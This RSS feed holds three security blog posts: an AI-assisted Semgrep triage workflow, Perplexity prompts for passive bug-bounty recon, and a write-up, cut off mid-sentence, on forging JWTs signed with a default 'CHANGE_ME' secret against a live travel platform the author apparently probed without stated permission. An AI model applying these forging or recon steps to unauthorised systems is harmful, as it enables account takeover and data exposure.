<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by SAEED on Medium]]></title>
        <description><![CDATA[Stories by SAEED on Medium]]></description>
        <link>https://medium.com/@saeed0x1?source=rss-79ba1db914b3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*WE65nDrzv9_wLdEUVpZrbw.jpeg</url>
            <title>Stories by SAEED on Medium</title>
            <link>https://medium.com/@saeed0x1?source=rss-79ba1db914b3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 23:38:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@saeed0x1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Optimizing Static Application Security Testing (SAST) with Semgrep + Gemini CLI]]></title>
            <link>https://saeed0x1.medium.com/optimizing-static-application-security-testing-sast-with-semgrep-gemini-cli-b4152e0307c6?source=rss-79ba1db914b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4152e0307c6</guid>
            <category><![CDATA[google]]></category>
            <category><![CDATA[static-code-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[gemini]]></category>
            <dc:creator><![CDATA[SAEED]]></dc:creator>
            <pubDate>Tue, 19 Aug 2025 16:57:58 GMT</pubDate>
            <atom:updated>2025-09-13T04:15:49.012Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9hE4rWEoc7ZHltqGSqNZA.png" /></figure><p>Static analysis is always a pain. Majority of the time the tool you are using just dumps hundreds of ‘<strong>possible issues</strong>’ that feel more like a to-do list from hell than actual bugs.</p><p>One of the most used SAST tool is <strong>semgrep</strong>. <strong>Semgrep</strong> already has an AI feature built-in but it’s only available on their <strong>paid tier (Semgrep Pro/Enterprise)</strong>. As a community user, you don’t get AI assistance.</p><p>That left me wondering: <em>could I build my own AI-assisted workflow using free tools?</em></p><p>So I paired <strong>Semgrep</strong> (to detect vulnerabilities in source code) with <strong>Gemini CLI</strong> (to automatically generate <strong>exploit</strong> <strong>proof-of-concepts</strong> and validate the vulnerability).</p><p>In this article I’ll walk through the entire process.</p><h3>Step 1: Semgrep Setup</h3><p>If you’ve never used <strong>Semgrep</strong> before, getting started is actually super easy.</p><h4>1.1 Installation</h4><p>You can install it with pip:</p><pre>pip install semgrep</pre><blockquote>I’ll skip rest of the setup in this article. you can read semgrep’s official documentation on how to setup.</blockquote><blockquote>📖 Official docs: <a href="https://semgrep.dev/docs/getting-started/quickstart">https://semgrep.dev/docs/getting-started/</a></blockquote><h4><strong>1.2 Semgrep Rules</strong></h4><p>Semgrep has thousands of community rules you can use out of the box.</p><p><strong>📂 Semgrep rules:</strong></p><ul><li><a href="https://github.com/semgrep/semgrep-rules">GitHub - semgrep/semgrep-rules: Semgrep Community Edition rules, maintained by Semgrep and the community. Free to use under the Semgrep Rules License.</a></li><li><a href="https://semgrep.dev/r/">Semgrep</a></li></ul><h4>1.3 Custom Patterns (Optional but Powerful)</h4><p>You’re not limited to predefined rules, you can write your own. For example, to catch unsafe innerHTML usage:</p><pre>rules:<br>  - id: insecure-innerhtml<br>    patterns:<br>      - pattern: this.$X.innerHTML = $Y<br>    message: &quot;Possible XSS via innerHTML&quot;<br>    languages: [javascript]<br>    severity: ERROR</pre><p>Save this as xss.yaml, then run:</p><pre>semgrep --config xss.yaml your-app/</pre><p>📖 How to write Semgrep Rules: <a href="https://semgrep.dev/docs/writing-rules/overview">https://semgrep.dev/docs</a></p><h3>Step 2: Gemini CLI Setup</h3><p>You can install gemini cli globally with npm.</p><pre>npm install -g @google/gemini-cli</pre><blockquote>After installation <strong>login</strong> to your account.</blockquote><p>📖 For more details: <a href="https://github.com/google-gemini/gemini-cli">https://github.com/google-gemini/gemini-cli</a></p><h3>Step 3: Let’s Get Started</h3><p>I’ve used one of my own projects from 2022. It was a college project, so back then I wasn’t exactly writing with security in mind, it was all about <strong><em>feature-first, ship-fast code</em></strong>. Lol.</p><p>That actually made it a great candidate for this test: <strong>messy code</strong> <strong>with plenty of shortcuts.</strong> (And honestly, it’s safer than scanning some random open-source project and posting their vulnerabilities here 🤭).</p><p><strong>Project Background:</strong></p><p>It is a <strong>healthcare web app</strong>. The idea was simple: three types of users — <strong>patients, doctors, and admins</strong>.</p><ul><li><strong>Patients</strong> can register/login, book appointments, and chat with their assigned doctor.</li><li><strong>Doctors</strong> can manage appointments and reply to patient messages.</li><li><strong>Admins</strong> handles system-wide settings and user management.</li></ul><p>The stack is old-school: <strong>PHP</strong> on the backend, <strong>MySQL</strong> for the database, and plain <strong>HTML, CSS, and vanilla JavaScript</strong> on the frontend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MaPXiepo6GicJoaAeOsrVw.png" /><figcaption>home page</figcaption></figure><p>You can take any project of your choice.</p><h3>Step 4: Scanning with Semgrep</h3><p>Go to your <strong>project root</strong> directory and run Semgrep using the most common Semgrep rules:</p><pre>semgrep --config p/owasp-top-ten . --metrics=off --json | tee semgrep_output.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yi4K77itMic3UVraNSdenQ.png" /><figcaption>Running Semgrep with default OWASP top 10 rules</figcaption></figure><blockquote>Command Breakdown:</blockquote><ol><li><strong>--config p/owasp-top-ten</strong><br> Tells Semgrep which ruleset to use.</li></ol><ul><li>p/owasp-top-ten is a <strong>predefined ruleset</strong> maintained by the Semgrep community.</li><li>It includes checks for vulnerabilities that map to the OWASP Top Ten, such as SQL Injection, XSS, Insecure Deserialization, etc.</li></ul><p>2. <strong>.</strong><br> The <strong>target/current/root directory</strong> to scan.</p><p>3. <strong>--metrics=off</strong><br> Disables anonymous usage metrics reporting.</p><ul><li>By default, Semgrep may send telemetry (like which rules you’re using) back to the project maintainers.</li><li>Setting --metrics=off keeps the scan fully local/private.</li></ul><p>4.<strong>--json</strong></p><p>Outputs results in <strong>JSON format</strong> instead of the human-readable default.</p><ul><li>This is useful if you want to pipe results into another tool.</li></ul><p>5. <strong>| tee findings.json</strong><br> The pipe (|) sends the JSON output into tee.</p><ul><li>tee findings.json writes the output to a file (findings.json) <strong>and</strong> still prints it to the terminal at the same time.</li></ul><h3>Step 4: Filtering the output</h3><p>Now we have our findings. The output can be way to long so we’ll prioritize from Critical/High severity findings to low severity.</p><p>The <strong>semgrep_output.json</strong> will look like this:</p><pre>{<br>    &quot;version&quot;: &quot;1.132.1&quot;,<br>    &quot;results&quot;: [<br>        {<br>            &quot;check_id&quot;: &quot;php.lang.security.injection.tainted-sql-string.tainted-sql-string&quot;,<br>            &quot;path&quot;: &quot;admin/add-new.php&quot;,<br>            &quot;start&quot;: {<br>                &quot;line&quot;: 54,<br>                &quot;col&quot;: 39,<br>                &quot;offset&quot;: 1355<br>            },<br>            &quot;end&quot;: {<br>                &quot;line&quot;: 54,<br>                &quot;col&quot;: 84,<br>                &quot;offset&quot;: 1400<br>            },<br>            &quot;extra&quot;: {<br>                &quot;metavars&quot;: {<br>                    &quot;$1&quot;: {<br>                        &quot;start&quot;: {<br>                            &quot;line&quot;: 1,<br>                            &quot;col&quot;: 1,<br>                            &quot;offset&quot;: 0<br>                        },<br>                        &quot;end&quot;: {<br>                            &quot;line&quot;: 1,<br>                            &quot;col&quot;: 7,<br>                            &quot;offset&quot;: 6<br>                        },<br>                        &quot;abstract_content&quot;: &quot;select&quot;<br>                    },<br>                    &quot;$EXPR&quot;: {<br>                        &quot;start&quot;: {<br>                            &quot;line&quot;: 54,<br>                            &quot;col&quot;: 40,<br>                            &quot;offset&quot;: 1356<br>                        },<br>                        &quot;end&quot;: {<br>                            &quot;line&quot;: 54,<br>                            &quot;col&quot;: 75,<br>                            &quot;offset&quot;: 1391<br>                        },<br>                        &quot;abstract_content&quot;: &quot;select * from webuser where email=&#39;&quot;<br>                    }<br>                },<br>                &quot;message&quot;: &quot;User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli-&gt;prepare(\&quot;INSERT INTO test(id, label) VALUES (?, ?)\&quot;);`) or a safe library.&quot;,<br>                &quot;metadata&quot;: {<br>                    &quot;cwe&quot;: [<br>                        &quot;CWE-89: Improper Neutralization of Special Elements used in an SQL Command (&#39;SQL Injection&#39;)&quot;<br>                    ],<br>                    &quot;owasp&quot;: [<br>                        &quot;A01:2017 - Injection&quot;,<br>                        &quot;A03:2021 - Injection&quot;<br>                    ],<br>                    &quot;references&quot;: [<br>                        &quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;<br>                    ],<br>                    &quot;category&quot;: &quot;security&quot;,<br>                    &quot;technology&quot;: [<br>                        &quot;php&quot;<br>                    ],<br>                    &quot;cwe2022-top25&quot;: true,<br>                    &quot;cwe2021-top25&quot;: true,<br>                    &quot;subcategory&quot;: [<br>                        &quot;vuln&quot;<br>                    ],<br>                    &quot;likelihood&quot;: &quot;HIGH&quot;,<br>                    &quot;impact&quot;: &quot;MEDIUM&quot;,<br>                    &quot;confidence&quot;: &quot;MEDIUM&quot;,<br>                    &quot;license&quot;: &quot;Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license&quot;,<br>                    &quot;vulnerability_class&quot;: [<br>                        &quot;SQL Injection&quot;<br>                    ],<br>                    &quot;source&quot;: &quot;https://semgrep.dev/r/php.lang.security.injection.tainted-sql-string.tainted-sql-string&quot;,<br>                    &quot;shortlink&quot;: &quot;https://sg.run/lZYG&quot;,<br>                    &quot;semgrep.dev&quot;: {<br>                        &quot;rule&quot;: {<br>                            &quot;origin&quot;: &quot;community&quot;,<br>                            &quot;r_id&quot;: 14757,<br>                            &quot;rule_id&quot;: &quot;qNUXdL&quot;,<br>                            &quot;rv_id&quot;: 1039629,<br>                            &quot;url&quot;: &quot;https://semgrep.dev/playground/r/7ZToWNO/php.lang.security.injection.tainted-sql-string.tainted-sql-string&quot;,<br>                            &quot;version_id&quot;: &quot;7ZToWNO&quot;<br>                        }<br>                    }<br>                },<br>                &quot;severity&quot;: &quot;ERROR&quot;,<br>                &quot;fingerprint&quot;: &quot;ebeee0e3fca4020e1f199257ca686ae0744deaab221f601273accc42d8d8d901c87ff4dbddf8fbcb2119b5f661ef1524c2b0bacf87dcd64e4014e8509f68891c_0&quot;,<br>                &quot;lines&quot;: &quot;            $result= $database-&gt;query(\&quot;select * from webuser where email=&#39;$email&#39;;\&quot;);&quot;,<br>                &quot;is_ignored&quot;: false,<br>                &quot;validation_state&quot;: &quot;NO_VALIDATOR&quot;,<br>                &quot;dataflow_trace&quot;: {<br>                    &quot;taint_source&quot;: [<br>                        &quot;CliLoc&quot;,<br>                        [<br>                            {<br>                                &quot;path&quot;: &quot;admin/add-new.php&quot;,<br>                                &quot;start&quot;: {<br>                                    &quot;line&quot;: 47,<br>                                    &quot;col&quot;: 16,<br>                                    &quot;offset&quot;: 1116<br>                                },<br>                                &quot;end&quot;: {<br>                                    &quot;line&quot;: 47,<br>                                    &quot;col&quot;: 22,<br>                                    &quot;offset&quot;: 1122<br>                                }<br>                            },<br>                            &quot;$_POST&quot;<br>                        ]<br>                    ],<br>                    &quot;intermediate_vars&quot;: [<br>                        {<br>                            &quot;location&quot;: {<br>                                &quot;path&quot;: &quot;admin/add-new.php&quot;,<br>                                &quot;start&quot;: {<br>                                    &quot;line&quot;: 47,<br>                                    &quot;col&quot;: 9,<br>                                    &quot;offset&quot;: 1109<br>                                },<br>                                &quot;end&quot;: {<br>                                    &quot;line&quot;: 47,<br>                                    &quot;col&quot;: 15,<br>                                    &quot;offset&quot;: 1115<br>                                }<br>                            },<br>                            &quot;content&quot;: &quot;$email&quot;<br>                        }<br>                    ],<br>                    &quot;taint_sink&quot;: [<br>                        &quot;CliLoc&quot;,<br>                        [<br>                            {<br>                                &quot;path&quot;: &quot;admin/add-new.php&quot;,<br>                                &quot;start&quot;: {<br>                                    &quot;line&quot;: 54,<br>                                    &quot;col&quot;: 39,<br>                                    &quot;offset&quot;: 1355<br>                                },<br>                                &quot;end&quot;: {<br>                                    &quot;line&quot;: 54,<br>                                    &quot;col&quot;: 84,<br>                                    &quot;offset&quot;: 1400<br>                                }<br>                            },<br>                            &quot;\&quot;select * from webuser where email=&#39;$email&#39;;\&quot;&quot;<br>                        ]<br>                    ]<br>                },<br>                &quot;engine_kind&quot;: &quot;OSS&quot;<br>            }<br>        }<br>....<br>}</pre><p>To filter and save, run this command:</p><pre>cat semgrep_output.json | jq &#39;{results: [.results[] | select(.extra.severity == &quot;HIGH&quot; or .extra.severity == &quot;CRITICAL&quot;)]}&#39; | tee high_critical.json</pre><blockquote><strong>NOTE: </strong>you’ll need jq tool.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ve7EjLRI5M2WKLWt2RfmxA.png" /><figcaption>Filtering High and Critical Findings</figcaption></figure><h3>Step 5: Feeding the output to Gemini</h3><p>This is the prompt ( prompt.txt ) I have used, specifically for this project. You can write your own according to your needs.</p><pre>You are a security engineer helping developers triage static analysis findings from Semgrep.  <br>The findings are stored in `high_critical.json`.  <br><br>Each finding includes:<br>- rule_id  <br>- severity  <br>- file path  <br>- start_line / end_line  <br>- code snippet  <br>- message  <br><br>Your job:  <br>Decide if the finding is real or a false positive, assign a priority, and give developer-friendly reasoning.  <br>Provide practical improvement guidance (fix suggestion) when relevant.  <br><br>---<br><br>Output Format (strictly in Markdown, one block per finding):<br><br>- path: &lt;file path&gt;  <br>- rule_id: &lt;semgrep rule id&gt;  <br>- is_real: true/false  <br>- priority: high/medium/low  <br>- explanation: &lt;reference specific code details and file path reasoning&gt;  <br>- fix: &lt;suggested change, or &quot;no change needed&quot; if false positive&gt;  <br>- poc: &lt;if issue can be demonstrated in runtime usage, describe expected risky behavior; otherwise &quot;not applicable&quot;&gt;  <br><br>---<br><br>Project Context<br>- Production code: admin/, doctor/, patient/, chat/php/, and root-level .php files → treat as production-relevant.  <br>- Client-side code: chat/javascript/, css/ → often lower severity unless handling sensitive data.  <br>- Database files: *.sql → relevant for schema design and security hygiene, but not directly exploitable at runtime.  <br>- Static assets: img/, fonts/, prompt.txt → almost always irrelevant to security findings.  <br><br>---<br><br>Triage Guidelines<br>1. Contextual Risk  <br>   - Production folders → prioritize higher if real.  <br>   - Client-side JS → medium/low unless affecting sensitive workflows.  <br>   - SQL schema → review for unsafe patterns but usually low.  <br>   - Static assets → usually false positives.  <br><br>2. is_real Decision  <br>   - true → pattern could affect runtime security or data handling.  <br>   - false → harmless, unreachable, demo/test-only, or irrelevant to runtime.  <br><br>3. Priority Levels  <br>   - high → impacts authentication, authorization, data validation, or sensitive info.  <br>   - medium → limited impact (UI, minor data leakage, local-only).  <br>   - low → informational, cosmetic, or unlikely to cause risk.  <br><br>4. Explanation  <br>   - Always cite the file path and snippet behavior.  <br>   - If assumptions are needed (e.g., missing context), state them explicitly.  <br><br>5. Fix  <br>   - Suggest practical code improvements (validation, sanitization, safe APIs).  <br>   - If not a real issue → output &quot;no change needed&quot;.  <br><br>6. PoC Section  <br>   - If real → describe how the issue would manifest during usage (no exploit payloads, just observable behavior).  <br>   - If false → &quot;not applicable&quot;.  <br><br>---<br><br>Instruction<br>Write the triage results to Result.md in the specified format.</pre><p>Run gemini in your project root and in the input box give this prompt.</p><pre>@prompt.txt take this prompt and apply</pre><blockquote>@prompt.txt means gemini will read the file. And I’ve asked it to take the actual prompt from the file and apply it.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4eZSjQ-iHHhGCKr4W8a2Iw.png" /><figcaption>Giving @prompt.txt to gemini</figcaption></figure><p>It’ll take some time and write the output in Result.md file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7kaybAl0VdP8EFbonfJPw.png" /><figcaption>Result.md</figcaption></figure><p>Now we can jump straight into the vulnerable function, test with the PoC, and confirm if it’s real. It’s not flawless, but it’s a solid starting point and with time, this workflow will only get better.</p><p>Here I’ve used Gemini but you could swap in other AI models or your own tricks to fit your style. The possibilities are endless, let your imaginations go wild.</p><h3>Looking Ahead: AI in Security Workflows</h3><p>I believe AI isn’t here to replace humans (at least for now), it’s here to <strong>bridge the gap</strong>.</p><p>That means:</p><ul><li>Faster triage.</li><li>Less wasted effort.</li><li>Clearer communication with devs (“here’s the payload, fix it”).</li></ul><p>Whether it’s bounty hunting, pentesting, or internal code audits, the payoff is the same: less wasted effort and more validated bugs. And honestly, that’s what makes security work actually rewarding.</p><p>Thank you for reading! Feel free to share your thoughts or questions in the comments.</p><h3>Let’s Connect</h3><p>If you’re interested in security reviews or pentesting support, feel free to reach out:</p><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/saeed0x1/">https://www.linkedin.com/in/saeed0x1/</a></li><li><strong>X (Twitter):</strong> <a href="https://x.com/saeed0x1">https://x.com/saeed0x1</a></li><li><strong>Email:</strong> <a href="/service/mailto:saeed.ctf@gmail.com">saeed.ctf@gmail.com</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4152e0307c6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Use Perplexity AI for Bug Bounty Recon (and Squeeze Every Last Drop Out of It)]]></title>
            <link>https://saeed0x1.medium.com/how-i-use-perplexity-for-bug-bounty-recon-and-squeeze-every-last-drop-out-of-it-a7061842a77f?source=rss-79ba1db914b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7061842a77f</guid>
            <category><![CDATA[perplexity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[SAEED]]></dc:creator>
            <pubDate>Wed, 13 Aug 2025 16:37:58 GMT</pubDate>
            <atom:updated>2025-08-19T18:23:49.747Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X03k1QOLTnO0HHys_vH3KQ.png" /></figure><p>When most people talk about recon, they picture running a couple of tools, dumping thousands of subdomains, and then… getting lost in the noise.</p><p>That used to be me.</p><p>Then I started using Perplexity, not as some magical “find me bugs” button, but as a research assistant that <em>actually thinks</em>. And once I learned how to feed it the right prompts, my recon game changed completely.</p><p>This post isn’t theory. It’s the workflow I use when I’m starting on a new program and I want to map every corner of their attack surface <em>without touching anything that’s out of scope</em>.</p><h3>Step 0: Set the Ground Rules</h3><p>Before I even type a target domain into Perplexity, I set the stage.<br> If you don’t tell it what you’re doing, it’ll give you generic junk.</p><p>Here’s my <strong>“baseline”</strong> prompt I paste into every recon session:</p><pre>Context: I have permission to perform recon on the following in-scope assets.<br>Goal: Identify and prioritize attack surface using only legal, passive OSINT.<br>Scope: [paste domains/IPs/wildcards from the program]<br>Deliverable: Tables, bullet points, and JSON where useful. Cite sources. Flag unknowns.<br>Constraints: No scanning unless clearly allowed in scope. Passive intel only.</pre><p>This keeps Perplexity focused, and it also forces <em>me</em> to be clear about what I’m hunting.</p><h3>Step 1: Actually Understand the Scope</h3><p>Most hunters skim the bounty brief, grab the wildcard domain, and start blasting.</p><p>That’s how you end up testing something out of scope and getting your report closed.</p><p>So I feed the policy into Perplexity and ask:</p><pre>Break this program scope into: <br>- Plain list of assets<br>- Root domains, FQDNs, and CIDRs<br>- JSON with type, scope notes, and constraints</pre><p>Half the time, Perplexity finds oddball lines you might miss, like a single IP range hidden in the middle of the policy.</p><h3>Step 2: Subdomain Enumeration Game Plan</h3><p>Instead of dumping 50k subs and drowning, I get Perplexity to design a plan:</p><pre>Give me a 3-phase passive subdomain recon strategy:<br>- Sources (CT logs, DNS history, analytics IDs)<br>- Example queries<br>- Reliability score<br>- How to safely verify</pre><p>It’ll suggest CT log sites I forgot existed, or analytics-ID pivots that can lead to whole new subdomains.</p><h3>Step 3: ASN and Infrastructure Mapping</h3><p>This is where I find the real hidden assets, the stuff not behind Cloudflare.</p><pre>Find ASNs and IP ranges tied to these domains using public WHOIS, <br>IPinfo, Shodan banners, and Censys. <br><br>Table: ASN → Netblock → Hosting provider → Direct or third-party.</pre><p>Once you have ASNs, you can spot patterns like an unprotected staging IP sitting right next to production.</p><h3>Step 4: CT Logs = Forgotten Gold</h3><p>One of my favorite tricks:</p><pre>From the given domains, pull historical CT log data and list:<br><br>- FQDN<br>- First seen date<br>- Last seen date<br>- Org name mismatch</pre><p>Older entries often lead to retired systems that still respond if you know where to look.</p><h3>Step 5: Smart Google Dorking</h3><p>Instead of random <strong>“site:”</strong> searches, I get Perplexity to make <em>target-specific</em> dorks:</p><pre>Give me Google/Bing/Brave dorks for this target that find:<br><br>- Dev/staging sites<br>- Exposed directories<br>- GitHub mentions<br>- Public docs (PDF/DOCX/PPTX)</pre><p>The PDFs and DOCXs often have footer emails or internal server names hidden in the metadata.</p><h3>Step 6: Third-Party Intel</h3><p>Vendors and SaaS tools can expand your surface area.</p><pre>List third-party services linked to these domains from analytics IDs, <br>tracking pixels, or support widgets.<br><br>Table: Service → Evidence → Related subdomains.</pre><p>Then I’ll pivot on those analytics IDs to see if they’re used on other domains the company owns but didn’t list in scope.</p><h3>Step 7: Public Code Mentions</h3><p>I don’t search GitHub manually anymore.</p><pre>Find public repos mentioning these domains or employee emails.<br><br>Table: Repo → Owner → Recon value.</pre><p>I’m not looking for secrets here just evidence of internal tools, API endpoints, or forgotten subdomains in old commits.</p><h3>Step 8: Archive Recon</h3><p>The Wayback Machine is full of forgotten endpoints.</p><pre>List unique URLs for these domains by year. <br>Highlight admin panels, API docs, or login forms that disappeared.</pre><p>Then I check if those endpoints exist on a different subdomain today.</p><h3>Step 9: DNS Misconfigurations</h3><p>You don’t even need to send a packet to spot takeover opportunities.</p><pre>Review these domains for unresolved CNAMEs, stale MX, and unused TXT records.<br><br>Table: Record → Finding → Safe check.</pre><p>Half the <strong>“low-hanging fruit”</strong> I’ve found came from DNS alone.</p><h3>Step 10: Prioritize Like a Pro</h3><p>Recon without prioritization is a mess.</p><pre>Score each asset 1–5 for:<br>- Likelihood of having a vuln<br>- Business impact if compromised</pre><p>That gives me a short list to focus my active testing on later.</p><h3>Step 11: Time-Box Your Hunts</h3><p>Perplexity can turn your recon into a time-efficient sprint:</p><pre>From my recon results, make a 60-min and a 4-hour passive recon sprint plan.</pre><p>Perfect for days when I want quick wins vs. deep dives.</p><h3>Step 12: Keep Recon Report-Ready</h3><p>I’ve learned to format everything as I go:</p><pre>Format as: Asset | Evidence Source | Recon Finding | Priority | Safe Follow-up</pre><p>This makes it drop straight into a bug bounty report when I’m ready.</p><h3>My Three “Squeeze More” Prompts</h3><p>If you want to push Perplexity beyond the basics, these are gold:</p><pre>1. What recon angles haven’t I tried yet?<br>2. Which findings connect to third-party services?<br>3. Which historical changes suggest a new deployment?</pre><h3>Final Thoughts</h3><p>Recon is the phase where you quietly get ahead of other hunters.<br>Everyone can run the same tools, but not everyone can connect the dots.</p><p>Perplexity doesn’t replace your brain- it amplifies it. When you use it to think <em>with</em> you instead of for you, you end up with a map no one else has.</p><p>And in bug bounty hunting, that map is everything.</p><p>Thank you for reading! Feel free to share your thoughts or questions in the comments.</p><h3>Let’s connect</h3><p>If you’re interested in security reviews, audits, or pentesting support, feel free to reach out:</p><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/saeed0x1/">https://www.linkedin.com/in/saeed0x1/</a></li><li><strong>X (Twitter):</strong> <a href="https://x.com/saeed0x1">https://x.com/saeed0x1</a></li><li><strong>Email:</strong> <a href="/service/mailto:saeed.ctf@gmail.com">saeed.ctf@gmail.com</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7061842a77f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From JWT Misconfiguration to Full User Dump — A Step-by-Step Breakdown]]></title>
            <link>https://saeed0x1.medium.com/ai-assisted-insecurity-forging-jwts-from-auto-generated-weak-secrets-9a6db38b14ad?source=rss-79ba1db914b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a6db38b14ad</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[jwt-attack]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[SAEED]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 05:22:13 GMT</pubDate>
            <atom:updated>2025-08-28T11:13:16.271Z</atom:updated>
            <content:encoded><![CDATA[<h3>From JWT Misconfiguration to Full User Dump — A Step-by-Step Breakdown</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_KCRh0TGYad5_pQ0wsZEnw.png" /></figure><p>I came across this target platform while I was scrolling through Linkedin. It was newly launched and out of curiosity I started poking around the application and came across this vulnerability. I found this bug in less than 10 mins. but I’ll still walk you through every step and thought process I had before actually exploiting it.</p><h3>Target Description</h3><p>This target is a B2B travel-tech platform designed for small to mid-sized tour operators. It offers tools for managing bookings, payments, and customer operations — all in one streamlined dashboard.</p><h3>Recon and Exploitation</h3><p>Initially like any other user I signed up in application while running BurpSuite in the background for capturing the requests.</p><h4>1st method: Parameter tampering</h4><p>Let’s start with registration. During the registration process, the signup form asks for these details — email, phone no., password and confirm password. After filling up these details when we click on continue and verify button an API call is made to this endpoint /api/otp/generate?purpose=registration with emailparameter in the request body and an OTP is sent to your given email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0jUi7DpWiwZw2GytYOapYg.png" /><figcaption>The API call where the OTP is sent to your email</figcaption></figure><p>After that you’ll be redirected to the next page where you’ll have to enter the OTP and click on signup button, and another API call will be made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1BdDWWuRQi66QoVG5a9UGQ.png" /><figcaption>2nd API call for Registration After entering the OTP</figcaption></figure><p>From this request body above, can you find the most interesting parameter?</p><p><strong>Ans:</strong> The role parameter.</p><p>The moment I saw the role parameter, my first instinct was</p><blockquote>if I modify the role parameter value, can I signup as admin user?</blockquote><p>But for that, first we have to know which value is assigned for admin user, it can be anything, but I tried using values 0,1,3,4,5 (bcoz for normal user, the value is 2).</p><p>But none of these values worked and I could not register as admin user. :(</p><h4>2nd Method: Response Manipulation</h4><p>After signup I directly went to login page and entered my credentials and hit login button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSfZJTU_NxbMmpa5_oBjHg.png" /><figcaption>Login response</figcaption></figure><p>Here you can see a few interesting things.</p><ol><li>The application is using <strong>JWT (JSON Web Token)</strong> for authentication and authorization.</li><li>user_idparameter.</li><li>role_id parameter.</li></ol><p>after seeing the user_id and role_idparameter quickly opened BurpSuite’s match and replace feature and set rule for Response body.</p><p>Match: user_id: 63, Replace: user_id:0/1 (I’ve tried 0,1,3,4,5 like before)</p><blockquote>Set the same rule for role_id.</blockquote><p>The goal was to check, after login if the user gets redirected to admin dashboard based on the manipulated response.</p><p>We’ll It didn’t work. :(</p><h4><strong>3rd Method: Manipulating the JWT Token</strong></h4><p>As we have seen previously the application uses JWT for Authentication and Authorization.</p><p>After decoding the token using <a href="https://token.dev/">token.dev</a>, I got this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5u7dBKApsEenwU4q-g-AMQ.png" /></figure><p>Again we got some interesting parameters, I quickly changed those parameters from this</p><pre>{<br>  &quot;sub&quot;: &quot;61&quot;,<br>  &quot;role&quot;: &quot;user&quot;,<br>  &quot;role_id&quot;: 2,<br>  &quot;exp&quot;: 1754143869<br>}</pre><p>to</p><pre>{<br>  &quot;sub&quot;: &quot;1&quot;, //0,1,3,4,5...<br>  &quot;role&quot;: &quot;admin&quot;,<br>  &quot;role_id&quot;: 1, //0,1,3,4,5...<br>  &quot;exp&quot;: 1754143869<br>}</pre><p>Then I copied the new JWT token and used BurpSuite’s match and replace feature again for request header and changed the original Authorization: ...header to the manipulated token.</p><p>Match: Authorization: original token, Replace: Authorization: manipulated token</p><p>So did It work?</p><p>Ofc. not, life ain’t that easy. LOL</p><h4>4th Method: Forging the JWT Token</h4><p>Well, this the final method which worked, and I knew it’ll work because the moment I opened BurpSuite after completing the Registration and Login process. I saw this in BurpSuite’s Issue Tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d38JxFQtfjWjBlUwwCC3Ww.png" /></figure><p>Burp Suite flagged the token as being signed using the <strong>default secret</strong>: CHANGE_ME.</p><p>Yes — literally &quot;CHANGE_ME&quot;. (vibe coding slop)</p><p>Now I can forge any token I want. But how to validate? if the token is working or not. Well the application has an API endpoint https://target.com/api/users/me . which returns the user details of the logged in user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1PjyfjDAZ0ZPcRUJ7oGSVA.png" /></figure><p>At this point, I didn’t know which user ID (sub) or role_id belonged to the admin. But I <strong>did</strong> know I could generate any token I wanted.</p><p>So I wrote a Python script to:</p><ul><li>Loop through possible sub values (sub = 